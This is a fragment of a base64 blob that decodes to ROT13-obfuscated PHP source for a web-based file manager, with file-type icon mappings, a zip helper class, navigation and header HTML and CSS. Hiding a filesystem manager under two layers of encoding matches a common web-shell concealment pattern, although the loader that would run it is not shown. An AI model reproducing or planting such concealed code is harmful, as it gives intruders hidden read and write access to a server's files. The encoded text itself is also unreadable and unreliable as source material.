BwbmZyICd6YzQnOiBwbmZyICd6NGknOiBwbmZyICdzeWknOgogICAgICAgIHBuZnIgJ3M0aSc6IHBuZnIgJ2J0eic6IHBuZnIgJ2J0aSc6IHBuZnIgJ3piaSc6IHBuZnIgJ3p4aSc6IHBuZnIgJzN0Yyc6CiAgICAgICAgcG5mciAnbmZzJzogcG5mciAnanppJzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfc3Z5eic7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHBuZnIgJ3J6eSc6IHBuZnIgJ3pmdCc6CiAgICAgICAgICAgICR2enQgPSAndnBiYS1zdnlyX2JoZ3liYngnOwogICAgICAgICAgICBvZXJueDsKICAgICAgICBwbmZyICdreWYnOiBwbmZyICdreWZrJzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfcmtwcnknOwogICAgICAgICAgICBvZXJueDsKICAgICAgICBwbmZyICdwZmknOgogICAgICAgICAgICAkdnp0ID0gJ3ZwYmEtc3Z5cl9wZmknOwogICAgICAgICAgICBvZXJueDsKICAgICAgICBwbmZyICdxYnAnOiBwbmZyICdxYnBrJzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfamJlcSc7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHBuZnIgJ2NjZyc6IHBuZnIgJ2NjZ2snOgogICAgICAgICAgICAkdnp0ID0gJ3ZwYmEtc3Z5cl9jYmpyZWNidmFnJzsKICAgICAgICAgICAgb2Vybng7CiAgICAgICAgcG5mciAnZ2dzJzogcG5mciAnZ2dwJzogcG5mciAnYmdzJzogcG5mciAnamJzcyc6cG5mciAnamJzczInOiBwbmZyICdyYmcnOiBwbmZyICdzYmEnOgogICAgICAgICAgICAkdnp0ID0gJ3ZwYmEtc3Z5cl9zYmFnJzsKICAgICAgICAgICAgb2Vybng7CiAgICAgICAgcG5mciAnY3FzJzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfY3FzJzsKICAgICAgICAgICAgb2Vybng7CiAgICAgICAgcG5mciAnY2ZxJzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfY3ViZ2JmdWJjJzsKICAgICAgICAgICAgb2Vybng7CiAgICAgICAgcG5mciAnbnYnOiBwbmZyICdyY2YnOgogICAgICAgICAgICAkdnp0ID0gJ3ZwYmEtc3Z5cl92eXloZmdlbmdiZSc7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHBuZnIgJ3N5bic6CiAgICAgICAgICAgICR2enQgPSAndnBiYS1zdnlyX3N5bmZ1JzsKICAgICAgICAgICAgb2Vybng7CiAgICAgICAgcG5mciAnZmpzJzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfZmpzJzsKICAgICAgICAgICAgb2Vybng7CiAgICAgICAgcG5mciAncmtyJzogcG5mciAnemZ2JzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfbmNjeXZwbmd2YmEnOwogICAgICAgICAgICBvZXJueDsKICAgICAgICBwbmZyICdvbmcnOgogICAgICAgICAgICAkdnp0ID0gJ3ZwYmEtc3Z5cl9ncmV6dmFueSc7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHFyc25oeWc6CiAgICAgICAgICAgICR2enQgPSAndnBiYS1xYnBoenJhZyc7CiAgICB9CgogICAgZXJnaGVhICR2enQ7Cn0KCi8qKgogKiBUcmcgdnpudHIgc3Z5cmYgcmtncmFmdmJhZgogKiBAZXJnaGVhIG5lZW5sCiAqLwpzaGFwZ3ZiYSBzel90cmdfdnpudHJfcmtnZigpCnsKICAgIGVyZ2hlYSBuZWVubCgndnBiJywgJ3R2cycsICd3Y3QnLCAnd2NydCcsICd3Y3AnLCAnd2MyJywgJ3djaycsICdrb3onLCAnam96YycsICdjYXQnLCAnb3pjJywgJ2d2cycsICdndnNzJywgJ2NmcScpOwp9CgovKioKICogVHJnIGl2cXJiIHN2eXJmIHJrZ3JhZnZiYWYKICogQGVyZ2hlYSBuZWVubAogKi8Kc2hhcGd2YmEgc3pfdHJnX2l2cXJiX3JrZ2YoKQp7CiAgICBlcmdoZWEgbmVlbmwoJ2pyb3onLCAnemM0JywgJ3o0aScsICdidHonLCAnYnRpJywgJ3piaScpOwp9CgovKioKICogVHJnIG5ocXZiIHN2eXJmIHJrZ3JhZnZiYWYKICogQGVyZ2hlYSBuZWVubAogKi8Kc2hhcGd2YmEgc3pfdHJnX25ocXZiX3JrZ2YoKQp7CiAgICBlcmdoZWEgbmVlbmwoJ2puaScsICd6YzMnLCAnYnR0JywgJ3o0bicpOwp9CgovKioKICogVHJnIGdya2cgc3Z5ciBya2dyYWZ2YmFmCiAqIEBlcmdoZWEgbmVlbmwKICovCnNoYXBndmJhIHN6X3RyZ19ncmtnX3JrZ2YoKQp7CiAgICBlcmdoZWEgbmVlbmwoCiAgICAgICAgJ2drZycsICdwZmYnLCAndmF2JywgJ3BiYXMnLCAneWJ0JywgJ3VnbnBwcmZmJywgJ2NuZmZqcScsICdzZ2NkaGJnbicsICdmZHknLCAnd2YnLCAnd2ZiYScsICdmdScsICdwYmFzdnQnLAogICAgICAgICdjdWMnLCAnY3VjNCcsICdjdWM1JywgJ2N1Y2YnLCAnY3VnenknLCAndWd6JywgJ3VnenknLCAnZnVnenknLCAna3VnenknLCAna3p5JywgJ2tmeScsICd6M2gnLCAnejNoOCcsICdjeWYnLCAncGhyJywKICAgICAgICAncnp5JywgJ3pmdCcsICdwZmknLCAnb25nJywgJ2dqdnQnLCAnZ2N5JywgJ3pxJywgJ3R2Z3Z0YWJlcicsICd5cmZmJywgJ2ZuZmYnLCAnZnBmZicsICdwJywgJ3BjYycsICdwZicsICdjbCcsCiAgICAgICAgJ3puYycsICd5YnB4JywgJ3FncScsICdmaXQnLAogICAgKTsKfQoKLyoqCiAqIFRyZyB6dnpyIGdsY3JmIGJzIGdya2cgc3Z5cmYKICogQGVyZ2hlYSBuZWVubAogKi8Kc2hhcGd2YmEgc3pfdHJnX2dya2dfenZ6cmYoKQp7CiAgICBlcmdoZWEgbmVlbmwoCiAgICAgICAgJ25jY3l2cG5ndmJhL2t6eScsCiAgICAgICAgJ25jY3l2cG5ndmJhL3duaW5mcGV2Y2cnLAogICAgICAgICduY2N5dnBuZ3ZiYS9rLXduaW5mcGV2Y2cnLAogICAgICAgICd2em50ci9maXQra3p5JywKICAgICAgICAnenJmZm50ci9lc3A4MjInLAogICAgKTsKfQoKLyoqCiAqIFRyZyBzdnlyIGFuenJmIGJzIGdya2cgc3Z5cmYgai9iIHJrZ3JhZnZiYWYKICogQGVyZ2hlYSBuZWVubAogKi8Kc2hhcGd2YmEgc3pfdHJnX2dya2dfYW56cmYoKQp7CiAgICBlcmdoZWEgbmVlbmwoCiAgICAgICAgJ3l2cHJhZnInLAogICAgICAgICdlcm5xenInLAogICAgICAgICduaGd1YmVmJywKICAgICAgICAncGJhZ2V2b2hnYmVmJywKICAgICAgICAncHVuYXRyeWJ0JywKICAgICk7Cn0KCi8qKgogKiBQeW5mZiBnYiBqYmV4IGp2Z3UgbXZjIHN2eXJmIChoZnZhdCBNdmNOZXB1dmlyKQogKi8KcHluZmYgU1pfTXZjY3JlCnsKICAgIGNldmluZ3IgJG12YzsKCiAgICBjaG95dnAgc2hhcGd2YmEgX19wYmFmZ2VocGcoKQogICAgewogICAgICAgICRndXZmLT5tdmMgPSBhcmogTXZjTmVwdXZpcigpOwogICAgfQoKICAgIC8qKgogICAgICogUGVybmdyIG5lcHV2aXIganZndSBhbnpyICRzdnlyYW56ciBuYXEgc3Z5cmYgJHN2eXJmIChFUllOR1ZJUiBDTkdVRiEpCiAgICAgKiBAY25lbnogZmdldmF0ICRzdnlyYW56cgogICAgICogQGNuZW56IG5lZW5sfGZnZXZhdCAkc3Z5cmYKICAgICAqIEBlcmdoZWEgb2JieQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgcGVybmdyKCRzdnlyYW56ciwgJHN2eXJmKQogICAgewogICAgICAgICRlcmYgPSAkZ3V2Zi0+bXZjLT5iY3JhKCRzdnlyYW56ciwgTXZjTmVwdXZpcjo6UEVSTkdSKTsKICAgICAgICB2cyAoJGVyZiAhPT0gZ2VocikgewogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQogICAgICAgIHZzICh2Zl9uZWVubCgkc3Z5cmYpKSB7CiAgICAgICAgICAgIHNiZXJucHUgKCRzdnlyZiBuZiAkcykgewogICAgICAgICAgICAgICAgdnMgKCEkZ3V2Zi0+bnFxU3Z5ckJlUXZlKCRzKSkgewogICAgICAgICAgICAgICAgICAgICRndXZmLT5tdmMtPnB5YmZyKCk7CiAgICAgICAgICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRndXZmLT5tdmMtPnB5YmZyKCk7CiAgICAgICAgICAgIGVyZ2hlYSBnZWhyOwogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgIHZzICgkZ3V2Zi0+bnFxU3Z5ckJlUXZlKCRzdnlyZikpIHsKICAgICAgICAgICAgICAgICRndXZmLT5tdmMtPnB5YmZyKCk7CiAgICAgICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmtnZW5wZyBuZXB1dmlyICRzdnlyYW56ciBnYiBzYnlxcmUgJGNuZ3UgKEVSWU5HVklSIEJFIE5PRkJZSEdSIENOR1VGKQogICAgICogQGNuZW56IGZnZXZhdCAkc3Z5cmFuenIKICAgICAqIEBjbmVueiBmZ2V2YXQgJGNuZ3UKICAgICAqIEBlcmdoZWEgb2JieQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgaGFtdmMoJHN2eXJhbnpyLCAkY25ndSkKICAgIHsKICAgICAgICAkZXJmID0gJGd1dmYtPm12Yy0+YmNyYSgkc3Z5cmFuenIpOwogICAgICAgIHZzICgkZXJmICE9PSBnZWhyKSB7CiAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICB9CiAgICAgICAgdnMgKCRndXZmLT5tdmMtPnJrZ2VucGdHYigkY25ndSkpIHsKICAgICAgICAgICAgJGd1dmYtPm12Yy0+cHliZnIoKTsKICAgICAgICAgICAgZXJnaGVhIGdlaHI7CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgIH0KCiAgICAvKioKICAgICAqIE5xcSBzdnlyL3NieXFyZSBnYiBuZXB1dmlyCiAgICAgKiBAY25lbnogZmdldmF0ICRzdnlyYW56cgogICAgICogQGVyZ2hlYSBvYmJ5CiAgICAgKi8KICAgIGNldmluZ3Igc2hhcGd2YmEgbnFxU3Z5ckJlUXZlKCRzdnlyYW56cikKICAgIHsKICAgICAgICB2cyAodmZfc3Z5cigkc3Z5cmFuenIpKSB7CiAgICAgICAgICAgIGVyZ2hlYSAkZ3V2Zi0+bXZjLT5ucXFTdnlyKCRzdnlyYW56cik7CiAgICAgICAgfSByeWZydnMgKHZmX3F2ZSgkc3Z5cmFuenIpKSB7CiAgICAgICAgICAgIGVyZ2hlYSAkZ3V2Zi0+bnFxUXZlKCRzdnlyYW56cik7CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgIH0KCiAgICAvKioKICAgICAqIE5xcSBzYnlxcmUgZXJwaGVmdmlyeWwKICAgICAqIEBjbmVueiBmZ2V2YXQgJGNuZ3UKICAgICAqIEBlcmdoZWEgb2JieQogICAgICovCiAgICBjZXZpbmdyIHNoYXBndmJhIG5xcVF2ZSgkY25ndSkKICAgIHsKICAgICAgICB2cyAoISRndXZmLT5tdmMtPm5xcVJ6Y2dsUXZlKCRjbmd1KSkgewogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQogICAgICAgICRib3dycGdmID0gZnBuYXF2ZSgkY25ndSk7CiAgICAgICAgdnMgKHZmX25lZW5sKCRib3dycGdmKSkgewogICAgICAgICAgICBzYmVybnB1ICgkYm93cnBnZiBuZiAkc3Z5cikgewogICAgICAgICAgICAgICAgdnMgKCRzdnlyICE9ICcuJyAmJiAkc3Z5ciAhPSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgdnMgKHZmX3F2ZSgkY25ndSAuICcvJyAuICRzdnlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICB2cyAoISRndXZmLT5ucXFRdmUoJGNuZ3UgLiAnLycgLiAkc3Z5cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gcnlmcnZzICh2Zl9zdnlyKCRjbmd1IC4gJy8nIC4gJHN2eXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHZzICghJGd1dmYtPm12Yy0+bnFxU3Z5cigkY25ndSAuICcvJyAuICRzdnlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVyZ2hlYSBnZWhyOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgc255ZnI7CiAgICB9Cn0KCi8vLS0tIGdyemN5bmdyZiBzaGFwZ3ZiYWYKCi8qKgogKiBGdWJqIGFuaSBveWJweAogKiBAY25lbnogZmdldmF0ICRjbmd1CiAqLwpzaGFwZ3ZiYSBzel9mdWJqX2FuaV9jbmd1KCRjbmd1KQp7CiAgICA/Pgo8cXZpIHB5bmZmPSJjbmd1Ij4KPHF2aSBweW5mZj0ic3libmctZXZ0dWciPgo8biBndmd5cj0iSGN5Ym5xIHN2eXJmIiB1ZXJzPSI/Yz08P2N1YyBycHViIGhleXJhcGJxcihTWl9DTkdVKSA/PiZuemM7aGN5Ym5xIj48diBweW5mZj0idnBiYS1oY3libnEiPjwvdj48L24+CjxuIGd2Z3lyPSJBcmogc2J5cXJlIiB1ZXJzPSIjIiBiYXB5dnB4PSJhcmpzYnlxcmUoJzw/Y3VjIHJwdWIgc3pfcmFwKFNaX0NOR1UpID8+Jyk7ZXJnaGVhIHNueWZyOyI+PHYgcHluZmY9InZwYmEtc2J5cXJlX25xcSI+PC92Pjwvbj4KPD9jdWMgdnMgKFNaX0hGUl9OSEdVKTogPz48biBndmd5cj0iWWJ0YmhnIiB1ZXJzPSI/eWJ0YmhnPTEiPjx2IHB5bmZmPSJ2cGJhLXlidGJoZyI+PC92Pjwvbj48P2N1YyByYXF2czsgPz4KPC9xdmk+CiAgICAgICAgPD9jdWMKICAgICAgICAkY25ndSA9IHN6X3B5cm5hX2NuZ3UoJGNuZ3UpOwogICAgICAgICRlYmJnX2hleSA9ICI8biB1ZXJzPSc/Yz0nPjx2IHB5bmZmPSd2cGJhLXVienInIGd2Z3lyPSciIC4gU1pfRUJCR19DTkdVIC4gIic+PC92Pjwvbj4iOwogICAgICAgICRmcmMgPSAnPHYgcHluZmY9InZwYmEtZnJjbmVuZ2JlIj48L3Y+JzsKICAgICAgICB2cyAoJGNuZ3UgIT0gJycpIHsKICAgICAgICAgICAgJHJrY3licXJxID0gcmtjeWJxcignLycsICRjbmd1KTsKICAgICAgICAgICAgJHBiaGFnID0gcGJoYWcoJHJrY3licXJxKTsKICAgICAgICAgICAgJG5lZW5sID0gbmVlbmwoKTsKICAgICAgICAgICAgJGNuZXJhZyA9ICcnOwogICAgICAgICAgICBzYmUgKCR2ID0gMDsgJHYgPCAkcGJoYWc7ICR2KyspIHsKICAgICAgICAgICAgICAgICRjbmVyYWcgPSBnZXZ6KCRjbmVyYWcgLiAnLycgLiAkcmtjeWJxcnFbJHZdLCAnLycpOwogICAgICAgICAgICAgICAgJGNuZXJhZ19yYXAgPSBoZXlyYXBicXIoJGNuZXJhZyk7CiAgICAgICAgICAgICAgICAkbmVlbmxbXSA9ICI8biB1ZXJzPSc/Yz17JGNuZXJhZ19yYXB9Jz4iIC4gc3pfcmFwKHN6X3BiYWlyZWdfanZhKCRya2N5YnFycVskdl0pKSAuICI8L24+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZWJiZ19oZXkgLj0gJGZyYyAuIHZ6Y3licXIoJGZyYywgJG5lZW5sKTsKICAgICAgICB9CiAgICAgICAgcnB1YiAnPHF2aSBweW5mZj0ib2VybngtamJlcSI+JyAuICRlYmJnX2hleSAuICc8L3F2aT4nOwogICAgICAgID8+CjwvcXZpPgo8P2N1Ywp9CgovKioKICogRnViaiB6cmZmbnRyIHNlYnogZnJmZnZiYQogKi8Kc2hhcGd2YmEgc3pfZnVial96cmZmbnRyKCkKewogICAgdnMgKHZmZnJnKCRfRlJGRlZCQVsnenJmZm50ciddKSkgewogICAgICAgICRweW5mZiA9IHZmZnJnKCRfRlJGRlZCQVsnZmduZ2hmJ10pID8gJF9GUkZGVkJBWydmZ25naGYnXSA6ICdieCc7CiAgICAgICAgcnB1YiAnPGMgcHluZmY9InpyZmZudHIgJyAuICRweW5mZiAuICciPicgLiAkX0ZSRkZWQkFbJ3pyZmZudHInXSAuICc8L2M+JzsKICAgICAgICBoYWZyZygkX0ZSRkZWQkFbJ3pyZmZudHInXSk7CiAgICAgICAgaGFmcmcoJF9GUkZGVkJBWydmZ25naGYnXSk7CiAgICB9Cn0KCi8qKgogKiBGdWJqIGNudHIgdXJucXJlCiAqLwpzaGFwZ3ZiYSBzel9mdWJqX3VybnFyZSgpCnsKICAgICRmY2V2Z3JmX2lyZSA9ICcyMDE2MDMxNSc7CiAgICB1cm5xcmUoIlBiYWdyYWctR2xjcjogZ3JrZy91Z3p5OyBwdW5lZnJnPWhncy04Iik7CiAgICB1cm5xcmUoIlJrY3ZlcmY6IEZuZywgMjYgV2h5IDE5OTcgMDU6MDA6MDAgVFpHIik7CiAgICB1cm5xcmUoIlBucHVyLVBiYWdlYnk6IGFiLWZnYmVyLCBhYi1wbnB1ciwgemhmZy1lcmlueXZxbmdyLCBjYmZnLXB1cnB4PTAsIGNlci1wdXJweD0wIik7CiAgICB1cm5xcmUoIkNlbnR6bjogYWItcG5wdXIiKTsKICAgID8+CjwhUUJQR0xDUiB1Z3p5Pgo8dWd6eT4KPHVybnE+Cjx6cmduIHB1bmVmcmc9Imhncy04Ij4KPGd2Z3lyPkNVQyBTdnlyIFpuYW50cmU8L2d2Z3lyPgo8ZmdseXI+CnVnenksb2JxbCxxdmksZmNuYSxjLGNlcixuLHBicXIscnosdnp0LGZ6bnl5LGZnZWJhdCxieSxoeSx5dixzYmV6LHlub3J5LGdub3lyLGdlLGd1LGdxe3puZXR2YTowO2NucXF2YXQ6MDtpcmVndnBueS1ueXZ0YTpvbmZyeXZhcjtiaGd5dmFyOmFiYXI7c2JhZy1mdm1yOjEwMCU7b25weHRlYmhhcTpnZW5hZmNuZXJhZztvYmVxcmU6YWJhcjtncmtnLXFycGJlbmd2YmE6YWJhcn0KdWd6eXtiaXJlc3liai1sOmZwZWJ5eX1vYnFse2NucXF2YXQ6MDtzYmFnOjEzY2svMTZjayBHbnViem4sTmV2bnksZm5hZi1mcmV2cztwYnliZTojMjIyO29ucHh0ZWJoYXE6I3JzcnNyc30KdmFjaGcsZnJ5cnBnLGdya2duZXJuLG9oZ2diYXtzYmFnLWZ2bXI6dmF1cmV2ZztzYmFnLXNuenZ5bDp2YXVyZXZnfQpue3BieWJlOiMyOTZybjM7Z3JrZy1xcnBiZW5ndmJhOmFiYXJ9bjp1YmlyZXtwYnliZTojbzAwfXZ6dHtpcmVndnBueS1ueXZ0YTp6dnFxeXI7b2JlcXJlOmFiYXJ9Cm4gdnp0e29iZXFyZTphYmFyfWZjbmEudGVubHtwYnliZTojNzc3fWZ6bnl5e3NiYWctZnZtcjoxMWNrO3BieWJlOiM5OTl9Y3t6bmV0dmEtb2JnZ2J6OjEwY2t9Cmh5e3puZXR2YS15cnNnOjJyejt6bmV0dmEtb2JnZ2J6OjEwY2t9aHl7eXZmZy1mZ2x5ci1nbGNyOmFiYXI7em5ldHZhLXlyc2c6MH1oeSB5dntjbnFxdmF0OjNjayAwfQpnbm95cntvYmVxcmUtcGJ5eW5jZnI6cGJ5eW5jZnI7b2JlcXJlLWZjbnB2YXQ6MDt6bmV0dmEtb2JnZ2J6OjEwY2s7anZxZ3U6MTAwJX0KZ3UsZ3F7Y25xcXZhdDo0Y2sgN2NrO2dya2ctbnl2dGE6eXJzZztpcmVndnBueS1ueXZ0YTpnYmM7b2JlcXJlOjFjayBmYnl2cSAjcXFxO29ucHh0ZWJoYXE6I3NzcztqdXZnci1mY25wcjphYmplbmN9Cmd1LGdxLnRlbmx7b25weHRlYmhhcS1wYnliZTojcnJyfWdxLnRlbmwgZmNuYXtwYnliZTojMjIyfQpnZTp1YmlyZSBncXtvbnB4dGViaGFxLXBieWJlOiNzNXM1czV9Z2U6dWJpcmUgZ3EudGVubHtvbnB4dGViaGFxLXBieWJlOiNycnJ9CnBicXIsY2Vye3F2ZmN5bmw6b3licHg7em5ldHZhLW9iZ2diejoxMGNrO3NiYWc6MTNjay8xNmNrIFBiYWZieW5mLCdQYmhldnJlIEFyaicsUGJoZXZyZSx6YmFiZmNucHI7b2JlcXJlOjFjayBxbmZ1cnEgI3BwcDtjbnFxdmF0OjVjaztiaXJlc3liajpuaGdifQpjZXIuanZndS11eXdme2NucXF2YXQ6MH0KY2VyLmp2Z3UtdXl3ZiBwYnFye3puZXR2YTowO29iZXFyZTowO2JpcmVzeWJqOml2ZnZveXJ9CnBicXIuem5rdXJ2dHVnLGNlci56bmt1cnZ0dWd7em5rLXVydnR1Zzo1MTJja312YWNoZ1tnbGNyPSJwdXJweG9iayJde3puZXR2YTowO2NucXF2YXQ6MH0KI2plbmNjcmV7em5rLWp2cWd1OjEwMDBjazt6dmEtanZxZ3U6NDAwY2s7em5ldHZhOjEwY2sgbmhnYn0KLmNuZ3V7Y25xcXZhdDo0Y2sgN2NrO29iZXFyZToxY2sgZmJ5dnEgI3FxcTtvbnB4dGViaGFxLXBieWJlOiNzc3M7em5ldHZhLW9iZ2diejoxMGNrfQouZXZ0dWd7Z3JrZy1ueXZ0YTpldnR1Z30ucHJhZ3Jle2dya2ctbnl2dGE6cHJhZ3JlfS5zeWJuZy1ldnR1Z3tzeWJuZzpldnR1Z30KLnpyZmZudHJ7Y25xcXZhdDo0Y2sgN2NrO29iZXFyZToxY2sgZmJ5dnEgI3FxcTtvbnB4dGViaGFxLXBieWJlOiNzc3N9Ci56cmZmbnRyLmJ4e29iZXFyZS1wYnliZTp0ZXJyYTtwYnliZTp0ZXJyYX0KLnpyZmZudHIucmVlYmV7b2JlcXJlLXBieWJlOmVycTtwYnliZTplcnF9Ci56cmZmbnRyLm55cmVne29iZXFyZS1wYnliZTpiZW5hdHI7cGJ5YmU6YmVuYXRyfQoub2dhe29iZXFyZTowO29ucHh0ZWJoYXE6YWJhcjtjbnFxdmF0OjA7em5ldHZhOjA7c2JhZy1qcnZ0dWc6b2J5cTtwYnliZTojMjk2cm4zO3BoZWZiZTpjYnZhZ3JlfS5vZ2E6dWJpcmV7cGJ5YmU6I28wMH0KLmNlcml2cmotdnp0e3puay1qdnFndToxMDAlO29ucHh0ZWJoYXE6aGV5KCJxbmduOnZ6bnRyL2NhdDtvbmZyNjQsdklPQkVqMFhUdGJOTk5OQUZIdVJIdE5OTk9OTk5OTkRQTlZOTk5QRHhKdDJOTk5OWHh5UkRJRTQyelk1Ly84L05tb2orQ1N3ZUJXWlFQRlBIRDNSTk9NcDRGMGVYbWZuRmlHR05PT3ROWmxzUFpmTDRPOXZOTk5OTlJ5U0d4RmhEelBQIikgZXJjcm5nIDAgMH0KLmNlcml2cmotaXZxcmJ7Y2Jmdmd2YmE6ZXJ5bmd2aXI7em5rLWp2cWd1OjEwMCU7dXJ2dHVnOjA7Y25xcXZhdC1vYmdnYno6NjIuNSU7em5ldHZhLW9iZ2diejoxMGNrfS5jZXJpdnJqLWl2cXJiIGl2cXJie2NiZnZndmJhOm5vZmJ5aGdyO2p2cWd1OjEwMCU7dXJ2dHVnOjEwMCU7eXJzZzowO2diYzowO29ucHh0ZWJoYXE6IzAwMH0KW3B5bmZmKj0idnBiYS0iXXtxdmZjeW5sOnZheXZhci1veWJweDtqdnFndToxNmNrO3VydnR1ZzoxNmNrO29ucHh0ZWJoYXE6aGV5KCI8P2N1YyBycHViIFNaX0ZSWVNfSEVZID8+P3Z6dD1mY2V2Z3JmJm56YztnPTw/Y3VjIHJwdWIgJGZjZXZncmZfaXJlID8+IikgYWItZXJjcm5nIDAgMDtpcmVndnBueS1ueXZ0YTpvYmdnYnp9Ci52cGJhLXFicGh6cmFne29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTE2Y2sgMH0udnBiYS1zYnlxcmV7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMzJjayAwfQoudnBiYS1zYnlxcmVfbnFxe29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTQ4Y2sgMH0udnBiYS1oY3libnF7b25weHRlYmhhcS1jYmZ2Z3ZiYTotNjRjayAwfQoudnBiYS1uZWVial9oY3tvbnB4dGViaGFxLWNiZnZndmJhOi04MGNrIDB9LnZwYmEtdWJ6cntvbnB4dGViaGFxLWNiZnZndmJhOi05NmNrIDB9Ci52cGJhLWZyY25lbmdiZXtvbnB4dGViaGFxLWNiZnZndmJhOi0xMTJjayAwfS52cGJhLXBlYmZme29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTEyOGNrIDB9Ci52cGJhLXBiY2x7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMTQ0Y2sgMH0udnBiYS1uY2N5bHtvbnB4dGViaGFxLWNiZnZndmJhOi0xNjBjayAwfQoudnBiYS1wbmFwcnl7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMTc2Y2sgMH0udnBiYS1lcmFuenJ7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMTkyY2sgMH0KLnZwYmEtcHVycHhvYmt7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMjA4Y2sgMH0udnBiYS1wdXJweG9ia192YWlyZWd7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMjI0Y2sgMH0KLnZwYmEtcHVycHhvYmtfaGFwdXJweHtvbnB4dGViaGFxLWNiZnZndmJhOi0yNDBjayAwfS52cGJhLXFiamF5Ym5xe29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTI1NmNrIDB9Ci52cGJhLXRib25weHtvbnB4dGViaGFxLWNiZnZndmJhOi0yNzJjayAwfS52cGJhLXNieXFyZV9iY3Jhe29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTI4OGNrIDB9Ci52cGJhLXN2eXJfbmNjeXZwbmd2YmF7b25weHRlYmhhcS1jYmZ2Z3ZiYTowIC0xNmNrfS52cGJhLXN2eXJfcGJxcntvbnB4dGViaGFxLWNiZnZndmJhOi0xNmNrIC0xNmNrfQoudnBiYS1zdnlyX3BmaXtvbnB4dGViaGFxLWNiZnZndmJhOi0zMmNrIC0xNmNrfS52cGJhLXN2eXJfcmtwcnl7b25weHRlYmhhcS1jYmZ2Z3ZiYTotNDhjayAtMTZja30KLnZwYmEtc3Z5cl9zdnl6e29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTY0Y2sgLTE2Y2t9LnZwYmEtc3Z5cl9zeW5mdXtvbnB4dGViaGFxLWNiZnZndmJhOi04MGNrIC0xNmNrfQoudnBiYS1zdnlyX3NiYWd7b25weHRlYmhhcS1jYmZ2Z3ZiYTotOTZjayAtMTZja30udnBiYS1zdnlyX3Vnenl7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMTEyY2sgLTE2Y2t9Ci52cGJhLXN2eXJfdnl5aGZnZW5nYmV7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMTI4Y2sgLTE2Y2t9LnZwYmEtc3Z5cl92em50cntvbnB4dGViaGFxLWNiZnZndmJhOi0xNDRjayAtMTZja30KLnZwYmEtc3Z5cl96aGZ2cHtvbnB4dGViaGFxLWNiZnZndmJhOi0xNjBjayAtMTZja30udnBiYS1zdnlyX2JoZ3liYnh7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMTc2Y2sgLTE2Y2t9Ci52cGJhLXN2eXJfY3Fze29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTE5MmNrIC0xNmNrfS52cGJhLXN2eXJfY3ViZ2JmdWJje29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTIwOGNrIC0xNmNrfQoudnBiYS1zdnlyX2N1Y3tvbnB4dGViaGFxLWNiZnZndmJhOi0yMjRjayAtMTZja30udnBiYS1zdnlyX2N5bmx5dmZne29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTI0MGNrIC0xNmNrfQoudnBiYS1zdnlyX2NianJlY2J2YWd7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMjU2Y2sgLTE2Y2t9LnZwYmEtc3Z5cl9manN7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMjcyY2sgLTE2Y2t9Ci52cGJhLXN2eXJfZ3JlenZhbnl7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMjg4Y2sgLTE2Y2t9LnZwYmEtc3Z5cl9ncmtne29ucHh0ZWJoYXEtY2Jmdmd2YmE6LTMwNGNrIC0xNmNrfQoudnBiYS1zdnlyX2piZXF7b25weHRlYmhhcS1jYmZ2Z3ZiYTotMzIwY2sgLTE2Y2t9LnZwYmEtc3Z5cl9tdmN7b25weHRl